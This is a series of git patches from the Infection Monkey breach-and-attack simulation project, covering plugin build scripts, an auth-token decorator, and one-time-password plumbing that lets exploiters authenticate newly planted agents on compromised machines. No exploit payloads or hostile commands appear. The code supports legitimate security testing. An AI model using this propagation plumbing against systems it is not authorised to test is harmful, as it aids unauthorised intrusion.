SOURCE_FILENAME=source.tar + +fail() { + echo "$1" + exit 1 +} + +get_value_from_key() { + _file="$1" + _key="$2" + _value=$(grep -Po "(?<=^${_key}:).*" "$_file") + if [ -z "$_value" ]; then + echo "Error: Plugin '$_key' not found." + exit 1 + else + echo "$_value" + fi +} + +ltrim() { + # xargs removes leading whitespace + echo "$1" | xargs +} + +lower() { + echo "$1" | tr "[:upper:]" "[:lower:]" +} + +get_plugin_filename() { + _plugin_path=${1:-"."} + + _name=$(get_value_from_key "${_plugin_path}/$MANIFEST_FILENAME" name) || fail "Failed to get plugin name" + _name=$(ltrim "$_name") + _type=$(get_value_from_key "${_plugin_path}/$MANIFEST_FILENAME" plugin_type) || fail "Failed to get plugin type" + _type=$(ltrim "$(lower "$_type")") + echo "${_name}-${_type}.tar" +} From a961f5772007c22bb3f403b02b0f85cef17c1af8 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 10 Mar 2023 15:31:39 +0000 Subject: [PATCH 0575/1338] Hadoop: Generalize build.sh on plugin filename --- monkey/agent_plugins/exploiters/hadoop/build.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/hadoop/build.sh b/monkey/agent_plugins/exploiters/hadoop/build.sh index 01fcec6316f..f99473d066e 100644 --- a/monkey/agent_plugins/exploiters/hadoop/build.sh +++ b/monkey/agent_plugins/exploiters/hadoop/build.sh @@ -8,7 +8,8 @@ TAG="latest" DOCKER_COMMANDS=" cd /plugin && bash build_plugin.sh && -chown ${UID}:${GID} \"/plugin/Hadoop-exploiter.tar\" +source util.sh && +chown ${UID}:${GID} \"/plugin/$(get_plugin_filename)\" " docker pull infectionmonkey/agent-builder:$TAG From 2246c96c6609fc2484ba42e26532335c82e43f59 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 10 Mar 2023 15:41:48 +0000 Subject: [PATCH 0576/1338] Hadoop: Move build scripts to the root of agent_plugins --- monkey/agent_plugins/{exploiters/hadoop => }/build.sh | 0 monkey/agent_plugins/{exploiters/hadoop => }/build_plugin.sh | 0 monkey/agent_plugins/{exploiters/hadoop => }/util.sh | 0 3 files changed, 0 insertions(+), 0 deletions(-) rename monkey/agent_plugins/{exploiters/hadoop => }/build.sh (100%) rename monkey/agent_plugins/{exploiters/hadoop => }/build_plugin.sh (100%) rename monkey/agent_plugins/{exploiters/hadoop => }/util.sh (100%) diff --git a/monkey/agent_plugins/exploiters/hadoop/build.sh b/monkey/agent_plugins/build.sh similarity index 100% rename from monkey/agent_plugins/exploiters/hadoop/build.sh rename to monkey/agent_plugins/build.sh diff --git a/monkey/agent_plugins/exploiters/hadoop/build_plugin.sh b/monkey/agent_plugins/build_plugin.sh similarity index 100% rename from monkey/agent_plugins/exploiters/hadoop/build_plugin.sh rename to monkey/agent_plugins/build_plugin.sh diff --git a/monkey/agent_plugins/exploiters/hadoop/util.sh b/monkey/agent_plugins/util.sh similarity index 100% rename from monkey/agent_plugins/exploiters/hadoop/util.sh rename to monkey/agent_plugins/util.sh From 07c118a8a8a101d389f41e59c91e810fe1d4ba5a Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 10 Mar 2023 16:49:08 +0000 Subject: [PATCH 0577/1338] Hadoop: Add path argument to plugin build scripts --- monkey/agent_plugins/build.sh | 22 +++++++++++++++++----- monkey/agent_plugins/build_plugin.sh | 25 +++++++++++++++++-------- 2 files changed, 34 insertions(+), 13 deletions(-) diff --git a/monkey/agent_plugins/build.sh b/monkey/agent_plugins/build.sh index f99473d066e..701dcb0ca90 100644 --- a/monkey/agent_plugins/build.sh +++ b/monkey/agent_plugins/build.sh @@ -1,20 +1,32 @@ #!/bin/bash +# Usage: ./build.sh [plugin_path] + umask 077 SCRIPT_DIR=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd) GID=$(id -g) TAG="latest" +if [ -z "$1" ]; then + echo "No plugin path specified." + exit 1 +else + PLUGIN_PATH=$(realpath --relative-to="$SCRIPT_DIR" "$1") +fi + +#shellcheck disable=SC1091 +source "$SCRIPT_DIR/util.sh" +plugin_filename=$(get_plugin_filename "$SCRIPT_DIR/$PLUGIN_PATH") || fail "Failed to get plugin filename: $plugin_filename" + DOCKER_COMMANDS=" -cd /plugin && -bash build_plugin.sh && -source util.sh && -chown ${UID}:${GID} \"/plugin/$(get_plugin_filename)\" +cd /plugins && +bash build_plugin.sh \"${PLUGIN_PATH}\" && +chown ${UID}:${GID} \"/plugins/${PLUGIN_PATH}/$plugin_filename\" " docker pull infectionmonkey/agent-builder:$TAG docker run \ --rm \ - -v "$SCRIPT_DIR:/plugin" \ + -v "$SCRIPT_DIR:/plugins" \ infectionmonkey/agent-builder:$TAG \ /bin/bash -c "$DOCKER_COMMANDS" | ts '[%Y-%m-%d %H:%M:%S]' diff --git a/monkey/agent_plugins/build_plugin.sh b/monkey/agent_plugins/build_plugin.sh index a3e0c0fb2fc..3d09152e12a 100755 --- a/monkey/agent_plugins/build_plugin.sh +++ b/monkey/agent_plugins/build_plugin.sh @@ -1,31 +1,40 @@ -#!/bin/sh +#!/bin/bash # Build plugin package -# Usage: ./build_plugin.sh +# Usage: ./build_plugin.sh [plugin_path] ROOT="$( cd "$( dirname "$0" )" && pwd )" #shellcheck disable=SC1091 -. "$ROOT/util.sh" +source "$ROOT/util.sh" + +if [ -z "$1" ]; then + echo "No plugin path specified." + exit 1 +else + PLUGIN_PATH=$(realpath "$1") +fi set -x export PYENV_ROOT="$HOME/.pyenv" command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH" eval "$(pyenv init -)" +pushd "$PLUGIN_PATH" || fail "$PLUGIN_PATH does not exist" pip install pipenv pipenv requirements >> requirements.txt pip install -r requirements.txt -t src/vendor rm requirements.txt # Package everything up -cd "$ROOT/src" || exit 1 +pushd "$PLUGIN_PATH/src" || fail "$PLUGIN_PATH/src does not exist" -tar -cf "$ROOT/$SOURCE_FILENAME" ./*.py vendor +tar -cf "$PLUGIN_PATH/$SOURCE_FILENAME" ./*.py vendor rm -rf vendor -cd "$ROOT" || exit 1 +popd || exit 1 plugin_filename=$(get_plugin_filename) || fail "Failed to get plugin filename: $plugin_filename" -tar -cf "$ROOT/$plugin_filename" "$MANIFEST_FILENAME" "$SCHEMA_FILENAME" "$SOURCE_FILENAME" -rm "$ROOT/$SOURCE_FILENAME" +tar -cf "$PLUGIN_PATH/$plugin_filename" "$MANIFEST_FILENAME" "$SCHEMA_FILENAME" "$SOURCE_FILENAME" +rm "$PLUGIN_PATH/$SOURCE_FILENAME" +popd || exit 1 From cef8508e13fa0822c6cecbd7be1d50f0b5d5dfa8 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 13 Mar 2023 15:53:26 +0200 Subject: [PATCH 0578/1338] Island: Remove ?include_auth_token URL parameter This parameter shouldn't be required as our API doesn't support any other authentication method besides the token --- .../island_client/monkey_island_requests.py | 4 ++-- .../flask_resources/login.py | 3 ++- .../flask_resources/register.py | 3 ++- .../flask_resources/utils.py | 19 +++++++++++++++++++ .../cc/ui/src/services/AuthService.js | 4 ++-- 5 files changed, 27 insertions(+), 6 deletions(-) diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py index 431b5d54cac..cb76b56ae30 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py @@ -27,7 +27,7 @@ def try_get_token_from_server(self): def get_token_from_server(self): resp = requests.post( # noqa: DUO123 - self.addr + "api/login?include_auth_token", + self.addr + "api/login", json={"username": ISLAND_USERNAME, "password": ISLAND_PASSWORD}, verify=False, ) @@ -40,7 +40,7 @@ def get_token_from_server(self): def try_set_island_to_credentials(self): resp = requests.post( # noqa: DUO123 - self.addr + "api/register?include_auth_token", + self.addr + "api/register", json={"username": ISLAND_USERNAME, "password": ISLAND_PASSWORD}, verify=False, ) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py index 874f7d1fe26..1312baba134 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py @@ -8,7 +8,7 @@ from monkey_island.cc.flask_utils import AbstractResource, responses from ..authentication_facade import AuthenticationFacade -from .utils import get_username_password_from_request +from .utils import get_username_password_from_request, include_auth_token logger = logging.getLogger(__name__) @@ -23,6 +23,7 @@ class Login(AbstractResource): def __init__(self, authentication_facade: AuthenticationFacade): self._authentication_facade = authentication_facade + @include_auth_token def post(self): """ Authenticates a user diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py index aee0e86fd6d..3835ed46d64 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py @@ -8,7 +8,7 @@ from monkey_island.cc.flask_utils import AbstractResource, responses from ..authentication_facade import AuthenticationFacade -from .utils import get_username_password_from_request +from .utils import get_username_password_from_request, include_auth_token logger = logging.getLogger(__name__) @@ -23,6 +23,7 @@ class Register(AbstractResource): def __init__(self, authentication_facade: AuthenticationFacade): self._authentication_facade = authentication_facade + @include_auth_token def post(self): """ Registers a new user using flask security register diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py index 1da382a5110..a0bb17228a1 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py @@ -1,7 +1,9 @@ import json +from functools import wraps from typing import Tuple from flask import Request, request +from werkzeug.datastructures import ImmutableMultiDict def get_username_password_from_request(_request: Request) -> Tuple[str, str]: @@ -16,3 +18,20 @@ def get_username_password_from_request(_request: Request) -> Tuple[str, str]: username = cred_dict.get("username", "") password = cred_dict.get("password", "") return username, password + + +def include_auth_token(func): + """ + A decorator that ensures that flask-security-too response includes an authentication token + """ + + @wraps(func) + def decorated_function(*args, **kwargs): + http_args = request.args.to_dict() + http_args["include_auth_token"] = "" + + request.args = ImmutableMultiDict(http_args) + + return func(*args, **kwargs) + + return decorated_function diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js index 1f164e725a6..da734d3b4f0 100644 --- a/monkey/monkey_island/cc/ui/src/services/AuthService.js +++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js @@ -12,9 +12,9 @@ export function getErrors(errors) { } export default class AuthService { - LOGIN_ENDPOINT = '/api/login?include_auth_token'; + LOGIN_ENDPOINT = '/api/login'; LOGOUT_ENDPOINT = '/api/logout'; - REGISTRATION_API_ENDPOINT = '/api/register?include_auth_token'; + REGISTRATION_API_ENDPOINT = '/api/register'; REGISTRATION_STATUS_API_ENDPOINT = '/api/registration-status'; TOKEN_NAME_IN_LOCALSTORAGE = 'authentication_token'; From 79433dabe124ff03231953fca13029c43d84fa16 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 13 Mar 2023 16:40:53 +0200 Subject: [PATCH 0579/1338] Agent: Add OTP fetching to the island api client --- .../http_island_api_client.py | 6 ++++++ .../test_http_island_api_client.py | 21 +++++++++++++++++++ vulture_allowlist.py | 4 ++++ 3 files changed, 31 insertions(+) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 23ce082e2ba..eebb6e40546 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -32,6 +32,7 @@ def wrapper(*args, **kwargs): json.JSONDecodeError, ValueError, TypeError, + KeyError, ) as err: raise IslandAPIResponseParsingError(err) @@ -60,6 +61,11 @@ def get_agent_binary(self, operating_system: OperatingSystem) -> bytes: response = self.http_client.get(f"agent-binaries/{os_name}") return response.content + @handle_response_parsing_errors + def get_otp(self) -> str: + response = self.http_client.get("agent-otp") + return response.json()["otp"] + @handle_response_parsing_errors def get_agent_plugin( self, operating_system: OperatingSystem, plugin_type: AgentPluginType, plugin_name: str diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py index a1aa0c62a0a..fcbec4741d2 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py @@ -146,6 +146,27 @@ def test_island_api_client__unhandled_exceptions(): api_client.get_agent_signals(agent_id=AGENT_ID) +def _build_client_with_json_response(response): + client_stub = MagicMock() + client_stub.get.return_value.json.return_value = response + return build_api_client(client_stub) + + +def test_island_api_client_get_otp(): + expected_otp = "secret_otp" + api_client = _build_client_with_json_response({"otp": expected_otp}) + + assert api_client.get_otp() == expected_otp + + +def test_island_api_client_get_otp__incorrect_response(): + expected_otp = "secret_otp" + api_client = _build_client_with_json_response({"otpP": expected_otp}) + + with pytest.raises(IslandAPIResponseParsingError): + api_client.get_otp() + + def test_island_api_client__handled_exceptions(): http_client_stub = MagicMock() http_client_stub.get = MagicMock(side_effect=json.JSONDecodeError) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index eb5f3b54bbb..a42275d9a23 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -12,6 +12,7 @@ from infection_monkey.exploit.tools import generate_brute_force_credentials, secret_type_filter from infection_monkey.exploit.zerologon import NetrServerPasswordSet, NetrServerPasswordSetResponse from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell +from infection_monkey.island_api_client import http_island_api_client from infection_monkey.transport.http import FileServHTTPRequestHandler from monkey_island.cc.deployment import Deployment from monkey_island.cc.models import Agent, IslandMode, Machine @@ -139,3 +140,6 @@ # Remove after #2952 generate_brute_force_credentials secret_type_filter + +# Remove after #3077 +http_island_api_client.get_otp From f9289018d83ff50193e526bac174fd7cd9ab7482 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Mar 2023 12:29:39 +0530 Subject: [PATCH 0580/1338] Agent: Add get_otp() to IIslandAPIClient --- .../island_api_client/i_island_api_client.py | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/monkey/infection_monkey/island_api_client/i_island_api_client.py b/monkey/infection_monkey/island_api_client/i_island_api_client.py index 5bfc7db766f..6e6fdffe109 100644 --- a/monkey/infection_monkey/island_api_client/i_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/i_island_api_client.py @@ -47,6 +47,21 @@ def get_agent_binary(self, operating_system: OperatingSystem) -> bytes: :return: The agent binary file """ + @abstractmethod + def get_otp(self) -> str: + """ + Get a one-time password (OTP) for an Agent so it can authenticate with the Island + + :raises IslandAPIConnectionError: If the client cannot successfully connect to the Island + :raises IslandAPIRequestError: If an error occurs while attempting to connect to the + Island due to an issue in the request sent from the client + :raises IslandAPIRequestFailedError: If an error occurs while attempting to connect to the + Island due to an error on the server + :raises IslandAPITimeoutError: If a timeout occurs while attempting to connect to the Island + :raises IslandAPIError: If an unexpected error occurs while attempting to get an OTP + :return: The OTP + """ + @abstractmethod def get_agent_plugin( self, operating_system: OperatingSystem, plugin_type: AgentPluginType, plugin_name: str From 48c5393e226078e4edc26b341313501f453c3c78 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Mar 2023 12:32:40 +0530 Subject: [PATCH 0581/1338] Agent: Add get_otp() to ConfigurationValidatorDecorator --- .../island_api_client/configuration_validator_decorator.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py b/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py index 9249586f9eb..5f82a3145ce 100644 --- a/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py +++ b/monkey/infection_monkey/island_api_client/configuration_validator_decorator.py @@ -31,6 +31,9 @@ def connect(self, island_server: SocketAddress): def get_agent_binary(self, operating_system: OperatingSystem) -> bytes: return self._island_api_client.get_agent_binary(operating_system) + def get_otp(self) -> str: + return self._island_api_client.get_otp() + def get_agent_plugin( self, operating_system: OperatingSystem, plugin_type: AgentPluginType, plugin_name: str ) -> AgentPlugin: From 4029f413265ff1f4eae84ed90707a4b9a6206365 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 13 Mar 2023 16:44:57 +0200 Subject: [PATCH 0582/1338] Agent: Fix a typo in island_api_client_errors.py --- .../island_api_client/island_api_client_errors.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/island_api_client/island_api_client_errors.py b/monkey/infection_monkey/island_api_client/island_api_client_errors.py index 255ffc5b36a..9556d53800d 100644 --- a/monkey/infection_monkey/island_api_client/island_api_client_errors.py +++ b/monkey/infection_monkey/island_api_client/island_api_client_errors.py @@ -40,5 +40,5 @@ class IslandAPIRequestFailedError(IslandAPIError): class IslandAPIResponseParsingError(IslandAPIError): """ - Raised when IslandAPIClient fails to parse the resonse + Raised when IslandAPIClient fails to parse the response """ From 6cfdb2e941c20ab9ac5758d91bd3e651870f1d44 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 13 Mar 2023 16:53:56 +0200 Subject: [PATCH 0583/1338] Agent: Reduce duplication in test_http_island_api_client.py --- .../test_http_island_api_client.py | 39 +++++++------------ 1 file changed, 15 insertions(+), 24 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py index fcbec4741d2..e06755b70f7 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py @@ -1,4 +1,5 @@ import json +from typing import Dict, List from unittest.mock import MagicMock from uuid import UUID @@ -84,6 +85,12 @@ def build_api_client(http_client): return HTTPIslandAPIClient(agent_event_serializer_registry(), http_client) +def _build_client_with_json_response(response): + client_stub = MagicMock() + client_stub.get.return_value.json.return_value = response + return build_api_client(client_stub) + + def test_island_api_client__get_agent_binary(): fake_binary = b"agent-binary" os = OperatingSystem.LINUX @@ -102,7 +109,7 @@ def test_island_api_client_send_events__serialization(): Event1(source=AGENT_ID, timestamp=0, a=1), Event2(source=AGENT_ID, timestamp=0, b="hello"), ] - expected_json = [ + expected_json: List[Dict] = [ { "source": "80988359-a1cd-42a2-9b47-5b94b37cd673", "target": None, @@ -146,12 +153,6 @@ def test_island_api_client__unhandled_exceptions(): api_client.get_agent_signals(agent_id=AGENT_ID) -def _build_client_with_json_response(response): - client_stub = MagicMock() - client_stub.get.return_value.json.return_value = response - return build_api_client(client_stub) - - def test_island_api_client_get_otp(): expected_otp = "secret_otp" api_client = _build_client_with_json_response({"otp": expected_otp}) @@ -201,9 +202,7 @@ def test_island_api_client_get_agent_plugin_manifest__bad_json(): @pytest.mark.parametrize("timestamp", [TIMESTAMP, None]) def test_island_api_client_get_agent_signals(timestamp): expected_agent_signals = AgentSignals(terminate=timestamp) - client_spy = MagicMock() - client_spy.get.return_value.json.return_value = {"terminate": timestamp} - api_client = build_api_client(client_spy) + api_client = _build_client_with_json_response({"terminate": timestamp}) actual_agent_signals = api_client.get_agent_signals(agent_id=AGENT_ID) @@ -212,9 +211,7 @@ def test_island_api_client_get_agent_signals(timestamp): @pytest.mark.parametrize("timestamp", [TIMESTAMP, None]) def test_island_api_client_get_agent_signals__bad_json(timestamp): - client_stub = MagicMock() - client_stub.get.return_value.json.return_value = {"terminate": timestamp, "discombobulate": 20} - api_client = build_api_client(client_stub) + api_client = _build_client_with_json_response({"terminate": timestamp, "discombobulate": 20}) with pytest.raises(IslandAPIResponseParsingError): api_client.get_agent_signals(agent_id=AGENT_ID) @@ -231,9 +228,7 @@ def test_island_api_client_get_agent_configuration_schema(): "required": ["some_field", "other_field"], "additionalProperties": False, } - client_spy = MagicMock() - client_spy.get.return_value.json.return_value = AgentConfigurationSchema.schema() - api_client = build_api_client(client_spy) + api_client = _build_client_with_json_response(AgentConfigurationSchema.schema()) actual_agent_configuration_schema = api_client.get_agent_configuration_schema() assert actual_agent_configuration_schema == expected_agent_configuration_schema @@ -276,10 +271,9 @@ def test_island_api_client_get_credentials_for_propagation__parsing_error(raised def test_island_api_client_get_credentials_for_propagation(): - client_spy = MagicMock() - client_spy.get.return_value.json.return_value = CREDENTIALS_DICTS + api_client = _build_client_with_json_response(CREDENTIALS_DICTS) + expected_credentials = [Credentials(**cred) for cred in CREDENTIALS_DICTS] - api_client = build_api_client(client_spy) returned_credentials = api_client.get_credentials_for_propagation() @@ -287,10 +281,7 @@ def test_island_api_client_get_credentials_for_propagation(): def test_island_api_client_get_config(): - client_stub = MagicMock() - client_stub.get.return_value.json.return_value = AgentConfiguration(**AGENT_CONFIGURATION).dict( - simplify=True - ) - api_client = build_api_client(client_stub) + agent_config_dict = AgentConfiguration(**AGENT_CONFIGURATION).dict(simplify=True) + api_client = _build_client_with_json_response(agent_config_dict) assert api_client.get_config() == AgentConfiguration(**AGENT_CONFIGURATION) From 7014446e4a3349beaa7da673a777a108d4cbb120 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 14 Mar 2023 12:26:35 +0200 Subject: [PATCH 0584/1338] UT: Add "get_otp" method to the BaseIslandAPIClient --- .../unit_tests/infection_monkey/base_island_api_client.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py index bf0ad423f55..e464ef0cb31 100644 --- a/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/base_island_api_client.py @@ -19,6 +19,9 @@ def get_agent_binary(self, operating_system: OperatingSystem) -> bytes: def get_agent_plugin(self, plugin_type: AgentPluginType, plugin_name: str) -> AgentPlugin: pass + def get_otp(self): + pass + def get_agent_plugin_manifest( self, plugin_type: AgentPluginType, plugin_name: str ) -> AgentPluginManifest: From 2c75a1bb9637581e7f203049cf182d64147c4bc3 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Mar 2023 13:48:19 +0530 Subject: [PATCH 0585/1338] Common: Fix title and description for MSSQL fingerprinter in hard-coded manifest Issue: #3108 PR: #3109 --- .../hard_coded_fingerprinter_manifests.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/common/hard_coded_manifests/hard_coded_fingerprinter_manifests.py b/monkey/common/hard_coded_manifests/hard_coded_fingerprinter_manifests.py index f03eb65eb3e..c3d3c1e9383 100644 --- a/monkey/common/hard_coded_manifests/hard_coded_fingerprinter_manifests.py +++ b/monkey/common/hard_coded_manifests/hard_coded_fingerprinter_manifests.py @@ -37,9 +37,10 @@ plugin_type=AgentPluginType.FINGERPRINTER, supported_operating_systems=(OperatingSystem.LINUX, OperatingSystem.WINDOWS), target_operating_systems=(OperatingSystem.LINUX, OperatingSystem.WINDOWS), - title="HTTP Fingerprinter", + title="MSSQL Fingerprinter", version="1.0.0", - description="Checks if host has HTTP/HTTPS ports open.", + description="Checks if Microsoft SQL service is running and tries to gather " + "information about it.", safe=True, ), } From 1896323f4e2dd0bd12fba7afab75ad5e67068efb Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Mar 2023 17:07:44 +0530 Subject: [PATCH 0586/1338] Agent: Add IOTPProvider --- .../infection_monkey/exploit/i_otp_provider.py | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 monkey/infection_monkey/exploit/i_otp_provider.py diff --git a/monkey/infection_monkey/exploit/i_otp_provider.py b/monkey/infection_monkey/exploit/i_otp_provider.py new file mode 100644 index 00000000000..bda60ec67eb --- /dev/null +++ b/monkey/infection_monkey/exploit/i_otp_provider.py @@ -0,0 +1,18 @@ +import abc + + +class IOTPProvider(metaclass=abc.ABCMeta): + """ + IOTPProvider provides an interface for other components to get one-time passwords (OTPs). + Notably, this is used by exploiters during propagation to get OTPs for running new + Agents on exploited machines, so that they can authenticate with the Island. + """ + + @abc.abstractmethod + def get_otp(self) -> str: + """ + Gets a one-time password (OTP) + + :return: An OTP + """ + pass From ef15746aff406b8e2ff283cf85f1858c3659aa12 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Mar 2023 17:08:45 +0530 Subject: [PATCH 0587/1338] Project: Add Vulture allowlist entry for IOTPProvider --- vulture_allowlist.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index a42275d9a23..a5b600df755 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -8,6 +8,7 @@ from common.base_models import InfectionMonkeyModelConfig, MutableInfectionMonkeyModelConfig from common.credentials import LMHash, NTHash, SecretEncodingConfig from common.types import Lock, NetworkPort, PluginName +from infection_monkey.exploit.i_otp_provider import IOTPProvider from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory from infection_monkey.exploit.tools import generate_brute_force_credentials, secret_type_filter from infection_monkey.exploit.zerologon import NetrServerPasswordSet, NetrServerPasswordSetResponse @@ -143,3 +144,4 @@ # Remove after #3077 http_island_api_client.get_otp +IOTPProvider From 6555273020c040e42b2468ea2ea4ebd91269a752 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Mar 2023 18:02:54 +0530 Subject: [PATCH 0588/1338] Agent: Rename IOTPProvider to IAgentOTPProvider --- .../exploit/{i_otp_provider.py => i_agent_otp_provider.py} | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) rename monkey/infection_monkey/exploit/{i_otp_provider.py => i_agent_otp_provider.py} (70%) diff --git a/monkey/infection_monkey/exploit/i_otp_provider.py b/monkey/infection_monkey/exploit/i_agent_otp_provider.py similarity index 70% rename from monkey/infection_monkey/exploit/i_otp_provider.py rename to monkey/infection_monkey/exploit/i_agent_otp_provider.py index bda60ec67eb..01d9a0128c4 100644 --- a/monkey/infection_monkey/exploit/i_otp_provider.py +++ b/monkey/infection_monkey/exploit/i_agent_otp_provider.py @@ -1,9 +1,9 @@ import abc -class IOTPProvider(metaclass=abc.ABCMeta): +class IAgentOTPProvider(metaclass=abc.ABCMeta): """ - IOTPProvider provides an interface for other components to get one-time passwords (OTPs). + IAgentOTPProvider provides an interface for other components to get one-time passwords (OTPs). Notably, this is used by exploiters during propagation to get OTPs for running new Agents on exploited machines, so that they can authenticate with the Island. """ From dfc94185e0748aa45f56c24ba72c585bb09a94b4 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Mar 2023 18:03:12 +0530 Subject: [PATCH 0589/1338] Project: Update Vulture allowlist (IOTPProvider -> IAgentOTPProvider) --- vulture_allowlist.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index a5b600df755..f89cd9fa7f1 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -8,7 +8,7 @@ from common.base_models import InfectionMonkeyModelConfig, MutableInfectionMonkeyModelConfig from common.credentials import LMHash, NTHash, SecretEncodingConfig from common.types import Lock, NetworkPort, PluginName -from infection_monkey.exploit.i_otp_provider import IOTPProvider +from infection_monkey.exploit.i_otp_provider import IAgentOTPProvider from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory from infection_monkey.exploit.tools import generate_brute_force_credentials, secret_type_filter from infection_monkey.exploit.zerologon import NetrServerPasswordSet, NetrServerPasswordSetResponse @@ -144,4 +144,4 @@ # Remove after #3077 http_island_api_client.get_otp -IOTPProvider +IAgentOTPProvider From ce0f256b310c91b18f8b738eabf041c2a349e8a4 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Mar 2023 18:03:51 +0530 Subject: [PATCH 0590/1338] Agent: Fix IAgentOTPProvider.get_otp()'s docstring's grammar --- monkey/infection_monkey/exploit/i_agent_otp_provider.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/i_agent_otp_provider.py b/monkey/infection_monkey/exploit/i_agent_otp_provider.py index 01d9a0128c4..1a3a45f4075 100644 --- a/monkey/infection_monkey/exploit/i_agent_otp_provider.py +++ b/monkey/infection_monkey/exploit/i_agent_otp_provider.py @@ -11,7 +11,7 @@ class IAgentOTPProvider(metaclass=abc.ABCMeta): @abc.abstractmethod def get_otp(self) -> str: """ - Gets a one-time password (OTP) + Get a one-time password (OTP) :return: An OTP """ From 8d419b295597f2c02b2d698a6257c2110fe7dd01 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 13 Mar 2023 22:48:55 +0100 Subject: [PATCH 0591/1338] Build: Use prefix infectionmonkey instead of guardicore for monkey-island docker image --- build_scripts/docker/docker.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build_scripts/docker/docker.sh b/build_scripts/docker/docker.sh index 3aa4d1bee4d..77be299648f 100755 --- a/build_scripts/docker/docker.sh +++ b/build_scripts/docker/docker.sh @@ -1,5 +1,5 @@ DOCKER_DIR="$(realpath $(dirname $BASH_SOURCE[0]))" -DOCKER_IMAGE_NAME="guardicore/monkey-island" +DOCKER_IMAGE_NAME="infectionmonkey/monkey-island" source "$DOCKER_DIR/../common.sh" From 0ac3ed9f76818d1402d88ed86a2fa74396a1a86e Mon Sep 17 00:00:00 